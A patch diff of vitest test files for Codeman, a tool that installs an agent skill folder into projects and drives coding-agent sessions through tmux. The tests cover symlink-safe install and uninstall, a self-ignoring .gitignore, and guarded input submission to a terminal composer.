expect(await readFile(join(skillDir, '.gitignore'), 'utf-8')).toBe('*\n');
|
||||
expect(existsSync(join(casePath, '.claude'))).toBe(false);
|
||||
expect(await applyAgentSkill(casePath, true, AGENTS_DIR)).toBe('unchanged');
|
||||
});
|
||||
|
||||
+168
-1
@@ -7,12 +7,14 @@
|
||||
* publish without them would be caught here before the `files` entry silently
|
||||
* ignores the missing directory.
|
||||
*
|
||||
* Pure filesystem tests in a per-test temp dir. Port: N/A.
|
||||
* Filesystem tests in a per-test temp dir; the self-ignoring block also runs real
|
||||
* `git` there (no global or system config). Port: N/A.
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { mkdtemp, rm, mkdir, writeFile, readFile, symlink, readdir, stat, utimes } from 'node:fs/promises';
|
||||
import { existsSync } from 'node:fs';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir, homedir } from 'node:os';
|
||||
import {
|
||||
@@ -92,6 +94,8 @@ describe('installAgentSkillInto / applyAgentSkill(enabled)', () => {
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('foreign');
|
||||
expect(await readFile(join(skillDir(), 'SKILL.md'), 'utf-8')).toContain('my own skill');
|
||||
expect(existsSync(join(skillDir(), 'reference'))).toBe(false);
|
||||
// Not even the ignore file: a foreign copy is the user's to track or not.
|
||||
expect(existsSync(join(skillDir(), '.gitignore'))).toBe(false);
|
||||
});
|
||||
|
||||
it('refuses to write through a symlinked skill dir (dogfooding layout)', async () => {
|
||||
@@ -107,9 +111,61 @@ describe('installAgentSkillInto / applyAgentSkill(enabled)', () => {
|
||||
expect(await installAgentSkillInto(skillDir())).toBe('symlink');
|
||||
expect(await readdir(join(casePath, 'real-skills'))).toEqual([]);
|
||||
});
|
||||
|
||||
// A cloned repository can commit `reference` as a link, and a Docker case's container
|
||||
// can plant one in the bind-mounted workspace the host injects into (on by default).
|
||||
it('refuses a symlinked reference/ folder inside the copy, so nothing is written where it points', async () => {
|
||||
const outside = join(casePath, 'outside');
|
||||
await mkdir(outside, { recursive: true });
|
||||
await writeFile(join(outside, 'history.md'), 'my notes\n');
|
||||
await mkdir(skillDir(), { recursive: true });
|
||||
await symlink(outside, join(skillDir(), 'reference'));
|
||||
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('symlink');
|
||||
expect(await readdir(outside)).toEqual(['history.md']);
|
||||
expect(await readFile(join(outside, 'history.md'), 'utf-8')).toBe('my notes\n');
|
||||
// Refused before the first write: no SKILL.md, no ignore file.
|
||||
expect(await readdir(skillDir())).toEqual(['reference']);
|
||||
});
|
||||
|
||||
it('refuses a symlinked reference/ folder planted beside an existing Codeman copy', async () => {
|
||||
await applyAgentSkill(casePath, true);
|
||||
const outside = join(casePath, 'outside');
|
||||
await mkdir(outside, { recursive: true });
|
||||
await writeFile(join(outside, 'recipes.md'), 'my recipes\n');
|
||||
await rm(join(skillDir(), 'reference'), { recursive: true });
|
||||
await symlink(outside, join(skillDir(), 'reference'));
|
||||
const skillMd = await readFile(join(skillDir(), 'SKILL.md'), 'utf-8');
|
||||
await writeFile(join(skillDir(), 'SKILL.md'), `stale\n${MARKER_PREFIX}: old -->\n`);
|
||||
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('symlink');
|
||||
expect(await readdir(outside)).toEqual(['recipes.md']);
|
||||
expect(await readFile(join(outside, 'recipes.md'), 'utf-8')).toBe('my recipes\n');
|
||||
// The stale copy is left as found, not refreshed through the link.
|
||||
expect(await readFile(join(skillDir(), 'SKILL.md'), 'utf-8')).not.toBe(skillMd);
|
||||
});
|
||||
});
|
||||
|
||||
describe('removeAgentSkillFrom / applyAgentSkill(disabled)', () => {
|
||||
it('refuses to delete through a symlinked reference/ folder inside the copy', async () => {
|
||||
await applyAgentSkill(casePath, true);
|
||||
const outside = join(casePath, 'outside');
|
||||
await mkdir(outside, { recursive: true });
|
||||
// Files named like the packaged reference files: an unlink through the link would take them.
|
||||
for (const name of await readdir(join(skillDir(), 'reference'))) {
|
||||
await writeFile(join(outside, name), 'not yours\n');
|
||||
}
|
||||
const names = (await readdir(outside)).sort();
|
||||
expect(names.length).toBeGreaterThan(0);
|
||||
await rm(join(skillDir(), 'reference'), { recursive: true });
|
||||
await symlink(outside, join(skillDir(), 'reference'));
|
||||
|
||||
expect(await applyAgentSkill(casePath, false)).toBe('symlink');
|
||||
expect((await readdir(outside)).sort()).toEqual(names);
|
||||
for (const name of names) expect(await readFile(join(outside, name), 'utf-8')).toBe('not yours\n');
|
||||
expect(existsSync(join(skillDir(), 'SKILL.md'))).toBe(true);
|
||||
});
|
||||
|
||||
it('removes our copy and prunes the emptied directories', async () => {
|
||||
await applyAgentSkill(casePath, true);
|
||||
expect(await applyAgentSkill(casePath, false)).toBe('removed');
|
||||
@@ -139,6 +195,117 @@ describe('removeAgentSkillFrom / applyAgentSkill(disabled)', () => {
|
||||
expect(existsSync(join(skillDir(), 'reference', 'endpoints.md'))).toBe(false);
|
||||
// The user's file and the directories holding it survive.
|
||||
expect(await readFile(join(skillDir(), 'reference', 'my-notes.md'), 'utf-8')).toBe('mine\n');
|
||||
// And so does the ignore file, so their notes stay out of `git status` as before.
|
||||
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
|
||||
});
|
||||
});
|
||||
|
||||
describe('the injected copy ignores itself in git', () => {
|
||||
const ENV = {
|
||||
...process.env,
|
||||
LC_ALL: 'C',
|
||||
GIT_AUTHOR_NAME: 'T',
|
||||
GIT_AUTHOR_EMAIL: 't@example.com',
|
||||
GIT_COMMITTER_NAME: 'T',
|
||||
GIT_COMMITTER_EMAIL: 't@example.com',
|
||||
GIT_CONFIG_GLOBAL: '/dev/null',
|
||||
GIT_CONFIG_NOSYSTEM: '1',
|
||||
};
|
||||
const git = (...args: string[]) =>
|
||||
execFileSync('git', args, { cwd: casePath, env: ENV, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
|
||||
/** Exit status of `git check-ignore -q -- <path>`: 0 ignored, 1 not ignored. */
|
||||
const checkIgnore = (path: string): number => {
|
||||
try {
|
||||
git('check-ignore', '-q', '--', path);
|
||||
return 0;
|
||||
} catch (err) {
|
||||
return (err as { status: number }).status;
|
||||
}
|
||||
};
|
||||
/** A repository with one commit and a tracked `.gitignore` of its own. */
|
||||
const initRepo = async () => {
|
||||
git('init', '-q', '-b', 'main');
|
||||
await writeFile(join(casePath, 'README.md'), 'hello\n');
|
||||
await writeFile(join(casePath, '.gitignore'), 'node_modules/\n');
|
||||
git('add', 'README.md', '.gitignore');
|
||||
git('-c', 'commit.gpgsign=false', 'commit', '-q', '-m', 'init');
|
||||
};
|
||||
|
||||
it('writes a .gitignore of `*` into the copy on install', async () => {
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('installed');
|
||||
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
|
||||
// Never part of the skill content: a second run has nothing to do.
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('unchanged');
|
||||
});
|
||||
|
||||
it('keeps `git status` of the user repository clean, and leaves its own ignore file alone', async () => {
|
||||
await initRepo();
|
||||
await applyAgentSkill(casePath, true);
|
||||
await applyAgentSkill(casePath, true, '.agents/skills');
|
||||
|
||||
expect(git('status', '--porcelain', '--untracked-files=all')).toBe('');
|
||||
expect(await readFile(join(casePath, '.gitignore'), 'utf-8')).toBe('node_modules/\n');
|
||||
// Nor the repository's local exclude file (git's template may or may not create one).
|
||||
const exclude = join(casePath, '.git', 'info', 'exclude');
|
||||
if (existsSync(exclude)) expect(await readFile(exclude, 'utf-8')).not.toContain('codeman');
|
||||
});
|
||||
|
||||
it('ignores the copy contents, never the folder above it (Claude Code checks only those)', async () => {
|
||||
// Claude Code 2.1.319 skips a nested skills folder when `git check-ignore` says its
|
||||
// project directory is ignored; it never checks a skill folder or its SKILL.md.
|
||||
await initRepo();
|
||||
await applyAgentSkill(casePath, true);
|
||||
expect(checkIgnore('.claude/skills/codeman/SKILL.md')).toBe(0);
|
||||
expect(checkIgnore('.claude/skills/codeman')).toBe(1);
|
||||
expect(checkIgnore('.claude/skills')).toBe(1);
|
||||
expect(checkIgnore('.claude')).toBe(1);
|
||||
});
|
||||
|
||||
it('never overwrites a .gitignore that is already in the folder', async () => {
|
||||
await applyAgentSkill(casePath, true);
|
||||
await writeFile(join(skillDir(), '.gitignore'), '# mine\nSKILL.md\n');
|
||||
// A stale copy: the refresh rewrites the skill but not the ignore file.
|
||||
await writeFile(join(skillDir(), 'SKILL.md'), `stale\n${MARKER_PREFIX}: old -->\n`);
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('refreshed');
|
||||
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('# mine\nSKILL.md\n');
|
||||
});
|
||||
|
||||
it('a copy injected before the ignore file existed gains it on the next install', async () => {
|
||||
await applyAgentSkill(casePath, true);
|
||||
await rm(join(skillDir(), '.gitignore'));
|
||||
// Every skill file is current, so only the ignore file is new: still a refresh.
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('refreshed');
|
||||
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
|
||||
});
|
||||
|
||||
it('does not write through a symlink planted at the ignore file name', async () => {
|
||||
await mkdir(skillDir(), { recursive: true });
|
||||
const outside = join(casePath, 'outside.txt');
|
||||
await writeFile(outside, 'untouched\n');
|
||||
await symlink(outside, join(skillDir(), '.gitignore'));
|
||||
expect(await applyAgentSkill(casePath, true)).toBe('installed');
|
||||
expect(await readFile(outside, 'utf-8')).toBe('untouched\n');
|
||||
});
|
||||
|
||||
it('uninstall removes the ignore file with the copy, so no folder is left behind', async () => {
|
||||
await initRepo();
|
||||
await applyAgentSkill(casePath, true);
|
||||
expect(await applyAgentSkill(casePath, false)).toBe('removed');
|
||||
expect(existsSync(skillDir())).toBe(false);
|
||||
expect(existsSync(join(casePath, '.claude', 'skills'))).toBe(false);
|
||||
expect(git('status', '--porcelain', '--untracked-files=all')).toBe('');
|
||||
});
|
||||
|
||||
it("uninstall keeps an ignore file that is not Codeman's", async () => {
|
||||
await applyAgentSkill(casePath, true);
|
||||
await writeFile(join(skillDir(), '.gitignore'), 'SKILL.md\n');
|
||||
expect(await applyAgentSkill(casePath, false)).toBe('removed');
|
||||
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('SKILL.md\n');
|
||||
});
|
||||
|
||||
it('the packaged source carries no ignore file (the plugin mirror pins its file set)', () => {
|
||||
expect(existsSync(join(process.cwd(), 'skills', 'codeman', '.gitignore'))).toBe(false);
|
||||
expect(existsSync(join(process.cwd(), 'plugins', 'codeman', 'skills', 'codeman', '.gitignore'))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,579 @@
|
||||
/** @fileoverview Guarded input observes all production write and lifecycle primitives. */
|
||||
import { expect, it, vi } from 'vitest';
|
||||
import { formatPaneSnapshot } from '../src/tmux-manager.js';
|
||||
import { Session } from '../src/session.js';
|
||||
import { promptSha256 } from '../src/agent-staging.js';
|
||||
import type { SessionAdopt } from '../src/types/session.js';
|
||||
it('fences writes and reused-pid pane lifecycles without persisting prompt content', async () => {
|
||||
let screen = '› \n GPT-6-Luna default · ~/case\n';
|
||||
const mux = {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot(screen.trimEnd().split('\n'), {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: screen.startsWith('› hello') ? 7 : 2,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
sendInput: async () => true,
|
||||
};
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux,
|
||||
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 12345 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
const before = session.guardedInputSnapshot();
|
||||
expect(before?.composerSha).toBe(promptSha256(''));
|
||||
await session.writeViaMux('hello');
|
||||
screen = '› hello\n GPT-6-Luna default · ~/case\n';
|
||||
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 1);
|
||||
session.trackUserInput('x');
|
||||
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 2);
|
||||
await session.performAuxiliaryInput(async () => {});
|
||||
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 3);
|
||||
const generation = session.inspectionGeneration;
|
||||
await (session as unknown as { _withPaneLifecycle(op: () => Promise<void>): Promise<void> })._withPaneLifecycle(
|
||||
async () => {
|
||||
expect(session.guardedInputSnapshot()).toBeNull();
|
||||
}
|
||||
);
|
||||
expect(session.inspectionGeneration).not.toBe(generation);
|
||||
session.markPromptSubmitted();
|
||||
expect(session.guardedInputSnapshot()?.revision).toBe(before!.revision + 4);
|
||||
await session.stop(false);
|
||||
expect(session.guardedInputSnapshot()).toBeNull();
|
||||
});
|
||||
|
||||
it('checks conditional Enter at the dispatch boundary and holds concurrent input until after it', async () => {
|
||||
let dispatch: (() => void) | undefined;
|
||||
const writes: string[] = [];
|
||||
const mux = {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: 7,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
|
||||
await new Promise<void>((resolve) => {
|
||||
dispatch = resolve;
|
||||
});
|
||||
if (options?.beforeDispatch && !options.beforeDispatch()) return false;
|
||||
writes.push(text);
|
||||
return true;
|
||||
},
|
||||
};
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux,
|
||||
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
try {
|
||||
const settle = () => new Promise<void>((resolve) => setImmediate(resolve));
|
||||
const expected = session.guardedInputSnapshot()!;
|
||||
const sending = session.submitGuardedInput(expected);
|
||||
// Held behind the lease, not refused: it still invalidates the pending Enter, and
|
||||
// it goes out once the lease is released.
|
||||
const other = session.writeViaMux('other');
|
||||
dispatch!();
|
||||
expect(await sending).toBe(false);
|
||||
expect(writes).toEqual([]);
|
||||
await settle();
|
||||
dispatch!();
|
||||
expect(await other).toBe(true);
|
||||
expect(writes).toEqual(['other']);
|
||||
const next = session.submitGuardedInput(session.guardedInputSnapshot()!);
|
||||
dispatch!();
|
||||
expect(await next).toBe(true);
|
||||
expect(writes).toEqual(['other', '\r']);
|
||||
const restarting = session.submitGuardedInput(session.guardedInputSnapshot()!);
|
||||
await (session as unknown as { _withPaneLifecycle(op: () => Promise<void>): Promise<void> })._withPaneLifecycle(
|
||||
async () => {}
|
||||
);
|
||||
dispatch!();
|
||||
expect(await restarting).toBe(false);
|
||||
expect(writes).toEqual(['other', '\r']);
|
||||
const auxiliary = session.submitGuardedInput(session.guardedInputSnapshot()!);
|
||||
const key = session.performAuxiliaryInput(async () => {
|
||||
writes.push('aux');
|
||||
});
|
||||
await settle();
|
||||
// The named key waits for the lease instead of failing, and never runs inside it.
|
||||
expect(writes).toEqual(['other', '\r']);
|
||||
dispatch!();
|
||||
expect(await auxiliary).toBe(false);
|
||||
await key;
|
||||
expect(writes).toEqual(['other', '\r', 'aux']);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('cancels an older automatic submit verifier before staging an identical prompt', async () => {
|
||||
vi.useFakeTimers();
|
||||
let composer = '';
|
||||
const writes: string[] = [];
|
||||
const mux = {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot([`› ${composer}`, ' GPT-6-Luna default · ~/case'], {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: 2 + composer.length,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
capturePaneText: () => `› ${composer}\n GPT-6-Luna default · ~/case`,
|
||||
sendInput: async (_id: string, text: string) => {
|
||||
writes.push(text);
|
||||
composer += text;
|
||||
return true;
|
||||
},
|
||||
};
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux,
|
||||
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
try {
|
||||
session.verifySubmitted('hello');
|
||||
expect(await session.stageGuardedInput('hello')).toBe(true);
|
||||
await vi.advanceTimersByTimeAsync(2000);
|
||||
expect(writes).toEqual(['hello']);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
|
||||
it('routes automatic verifier Enter through the shared guarded input boundary', async () => {
|
||||
vi.useFakeTimers();
|
||||
let release!: () => void;
|
||||
const writes: string[] = [];
|
||||
const mux = {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: 7,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
capturePaneText: () => '› hello\n GPT-6-Luna default · ~/case',
|
||||
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
|
||||
if (options?.beforeDispatch) {
|
||||
await new Promise<void>((resolve) => {
|
||||
release = resolve;
|
||||
});
|
||||
if (!options.beforeDispatch()) return false;
|
||||
}
|
||||
writes.push(text);
|
||||
return true;
|
||||
},
|
||||
};
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux,
|
||||
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
try {
|
||||
session.verifySubmitted('hello');
|
||||
const submission = session.submitGuardedInput(session.guardedInputSnapshot()!);
|
||||
await vi.advanceTimersByTimeAsync(2000);
|
||||
release();
|
||||
expect(await submission).toBe(false);
|
||||
await vi.advanceTimersByTimeAsync(60000);
|
||||
expect(writes).toEqual([]);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
|
||||
it('refuses legacy one-shot prompt entrypoints during a guarded submission before spawning', async () => {
|
||||
let release!: () => void;
|
||||
const writes: string[] = [];
|
||||
const mux = {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: 7,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
|
||||
await new Promise<void>((resolve) => {
|
||||
release = resolve;
|
||||
});
|
||||
if (options?.beforeDispatch && !options.beforeDispatch()) return false;
|
||||
writes.push(text);
|
||||
return true;
|
||||
},
|
||||
};
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux,
|
||||
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
const access = session as unknown as { ptyProcess: { write(data: string): void } | null };
|
||||
try {
|
||||
const submission = session.submitGuardedInput(session.guardedInputSnapshot()!);
|
||||
// This also prevents a real spawn if the lease guard regresses.
|
||||
access.ptyProcess = {
|
||||
write: () => {
|
||||
throw new Error('must not write');
|
||||
},
|
||||
};
|
||||
await expect(session.runPrompt('other')).rejects.toThrow('Guarded submission');
|
||||
await expect(session.sendInput('other')).rejects.toThrow('Guarded submission');
|
||||
access.ptyProcess = null;
|
||||
release();
|
||||
expect(await submission).toBe(false);
|
||||
expect(writes).toEqual([]);
|
||||
} finally {
|
||||
access.ptyProcess = null;
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('counts an ordinary transport pending window before any awaited acknowledgement', async () => {
|
||||
let release!: () => void;
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux: {
|
||||
isAvailable: () => true,
|
||||
sendInput: async () => {
|
||||
await new Promise<void>((resolve) => {
|
||||
release = resolve;
|
||||
});
|
||||
return true;
|
||||
},
|
||||
},
|
||||
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
try {
|
||||
const writing = session.writeViaMux('hello');
|
||||
expect(session.guardedInputPendingWrites).toBe(1);
|
||||
release();
|
||||
await writing;
|
||||
expect(session.guardedInputPendingWrites).toBe(0);
|
||||
} finally {
|
||||
release?.();
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('uses fresh normalized pane rows for working/dialog denial before exact composer proof', async () => {
|
||||
let working = false;
|
||||
const capture = vi.fn(() =>
|
||||
formatPaneSnapshot(
|
||||
[working ? '• Working (1s · esc to interrupt)' : 'ready', '› hello', ' GPT-6-Luna default · ~/case'],
|
||||
{ cols: 100, rows: 20, cursorX: 7, cursorY: 1 }
|
||||
)
|
||||
);
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux: {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return capture();
|
||||
},
|
||||
capturePaneText: () => {
|
||||
throw Error('must use same frame');
|
||||
},
|
||||
},
|
||||
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
try {
|
||||
const blocked = vi.spyOn(session as unknown as { _paneShowsBlocked(text: string): boolean }, '_paneShowsBlocked');
|
||||
expect(session.guardedInputSnapshot()).not.toBeNull();
|
||||
expect(blocked.mock.calls[0][0]).toContain('ready\n› hello\n');
|
||||
working = true;
|
||||
expect(session.guardedInputSnapshot()).toBeNull();
|
||||
blocked.mockReturnValue(true);
|
||||
working = false;
|
||||
expect(session.guardedInputSnapshot()).toBeNull();
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps raw user input synchronous and preserves receipts for focus/mouse/noop reports', async () => {
|
||||
const writes: string[] = [];
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux: {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot(['› hello', ' GPT-6-Luna default · ~/case'], {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: 7,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
},
|
||||
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
const access = session as unknown as {
|
||||
ptyProcess: { write(data: string): void; resize(cols: number, rows: number): void } | null;
|
||||
};
|
||||
access.ptyProcess = {
|
||||
write: (text) => {
|
||||
writes.push(text);
|
||||
},
|
||||
resize: () => {},
|
||||
};
|
||||
try {
|
||||
const before = session.guardedInputSnapshot()!;
|
||||
for (const data of ['\x1b[I', '\x1b[O', '\x1b[<0;10;5M', '\x1b[M !!', '']) {
|
||||
expect(session.write(data, { fromUser: true })).toBe(true);
|
||||
expect(writes.at(-1)).toBe(data);
|
||||
expect(session.guardedInputSnapshot()?.revision).toBe(before.revision);
|
||||
}
|
||||
session.write('\x1b[Oedit');
|
||||
expect(session.guardedInputSnapshot()?.revision).toBe(before.revision + 1);
|
||||
const generation = session.inspectionGeneration;
|
||||
session.owner = 'other';
|
||||
session.owner = undefined;
|
||||
expect(session.inspectionGeneration).not.toBe(generation);
|
||||
const priorResize = session.guardedInputGeneration;
|
||||
session.resize(80, 24);
|
||||
expect(session.guardedInputGeneration).not.toBe(priorResize);
|
||||
} finally {
|
||||
access.ptyProcess = null;
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('refuses a message that would wrap using the actual captured indent and width before any write', async () => {
|
||||
const writes: string[] = [];
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux: {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane: string,
|
||||
opts: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 30, rows: 20 };
|
||||
return formatPaneSnapshot([' › ', ' GPT-6 default · ~/case'], {
|
||||
cols: 30,
|
||||
rows: 20,
|
||||
cursorX: 6,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
sendInput: async (_id: string, text: string) => {
|
||||
writes.push(text);
|
||||
return true;
|
||||
},
|
||||
},
|
||||
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
const { GuardedStageStore, guardedComposerChrome } = await import('../src/agent-staging.js');
|
||||
const { getCli } = await import('../src/config/cli-registry/registry.js');
|
||||
try {
|
||||
const store = new GuardedStageStore();
|
||||
const target = {
|
||||
id: session.id,
|
||||
chrome: () => guardedComposerChrome(getCli('codex')),
|
||||
snapshot: () => session.guardedInputSnapshot(),
|
||||
write: (text: string) => session.stageGuardedInput(text),
|
||||
submit: (snap: Parameters<Session['submitGuardedInput']>[0]) => session.submitGuardedInput(snap),
|
||||
};
|
||||
await expect(store.stage(target, 'alice', 'x'.repeat(24))).rejects.toThrow(/wrap/);
|
||||
expect(writes).toEqual([]);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps inspection generations stable across resize but invalidates a staged snapshot', async () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'codex' });
|
||||
const access = session as unknown as { ptyProcess: { resize(cols: number, rows: number): void } | null };
|
||||
access.ptyProcess = { resize: () => {} };
|
||||
try {
|
||||
const inspection = session.inspectionGeneration;
|
||||
const staging = session.guardedInputGeneration;
|
||||
session.resize(80, 24);
|
||||
expect(session.inspectionGeneration).toBe(inspection);
|
||||
expect(session.guardedInputGeneration).not.toBe(staging);
|
||||
} finally {
|
||||
access.ptyProcess = null;
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('records a verifier re-press as the latest submit time', async () => {
|
||||
vi.useFakeTimers();
|
||||
vi.setSystemTime(10000);
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux: { isAvailable: () => true, capturePaneText: () => '› hello\n', sendInput: async () => true },
|
||||
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
try {
|
||||
await session.writeViaMux('hello\r');
|
||||
const initial = session.lastSubmitAt;
|
||||
await vi.advanceTimersByTimeAsync(2000);
|
||||
expect(session.lastSubmitAt).toBe(initial + 2000);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
|
||||
it('stages through a real session whose first post-write capture is the torn frame codex produces', async () => {
|
||||
// Reproduces the live 0.162.0 race: right after the keys land, the screen still
|
||||
// shows the empty composer while the caret is already past the new text. That
|
||||
// frame proves nothing; the repaint a few ms later does.
|
||||
let composer = '';
|
||||
let torn = 0;
|
||||
const writes: string[] = [];
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux: {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
const shown = torn > 0 ? '' : composer;
|
||||
if (torn > 0) torn--;
|
||||
